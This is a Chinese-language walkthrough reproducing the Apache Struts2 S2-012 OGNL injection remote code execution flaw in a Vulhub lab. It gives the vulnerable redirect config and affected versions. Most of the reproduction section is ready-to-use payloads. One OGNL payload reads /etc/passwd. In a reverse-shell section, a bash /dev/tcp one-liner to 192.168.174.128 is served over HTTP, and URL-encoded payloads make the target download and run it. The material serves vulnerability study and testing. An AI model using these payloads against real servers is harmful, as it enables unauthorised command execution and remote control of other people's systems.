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86 lines
3.4 KiB
Markdown
86 lines
3.4 KiB
Markdown
# Apache Struts2 S2-012 远程代码执行漏洞
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## 漏洞描述
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如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量，例如：
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```
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<package name="S2-012" extends="struts-default">
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<action name="user" class="com.demo.action.UserAction">
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<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
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<result name="input">/index.jsp</result>
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<result name="success">/index.jsp</result>
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</action>
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</package>
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```
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这里 UserAction 中定义有一个 name 变量，当触发 redirect 类型返回时，Struts2 获取使用 ${name} 获取其值，在这个过程中会对 name 参数的值执行 OGNL 表达式解析，从而可以插入任意 OGNL 表达式导致命令执行。
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漏洞详情:
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- http://struts.apache.org/docs/s2-012.html
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## 漏洞影响
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影响版本: 2.1.0 - 2.3.13
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## 环境搭建
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Vulhub 执行以下命令启动 s2-012 测试环境：
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```
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docker-compose build
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docker-compose up -d
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```
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访问 `http://your-vps-ip:8080/index.jsp` 即可进入上传表单页面。
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## 漏洞复现
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可以直接祭出 s2-001 中的回显 POC，因为这里是没有沙盒，也没有限制任何特殊字符。
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```
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%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
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```
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发送请求，执行命令：
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### 反弹 shell
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编写 shell 脚本并启动 http 服务器：
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```
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echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
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python3环境下：python -m http.server 80
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```
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上传 shell.sh 文件的命令为：
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```
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wget 192.168.174.128/shell.sh
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```
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上传 shell.sh 文件的 Payload 为：
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```
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%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22wget%22%2C+%22192.168.174.128%2Fshell.sh%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
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```
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执行 shell.sh 文件的命令为：
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```
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bash /usr/local/tomcat/shell.sh
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```
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执行 shell.sh 文件的 Payload 为：
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```
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%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22bash%22%2C+%22%2Fusr%2Flocal%2Ftomcat%2Fshell.sh%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
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```
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成功接收反弹 shell：
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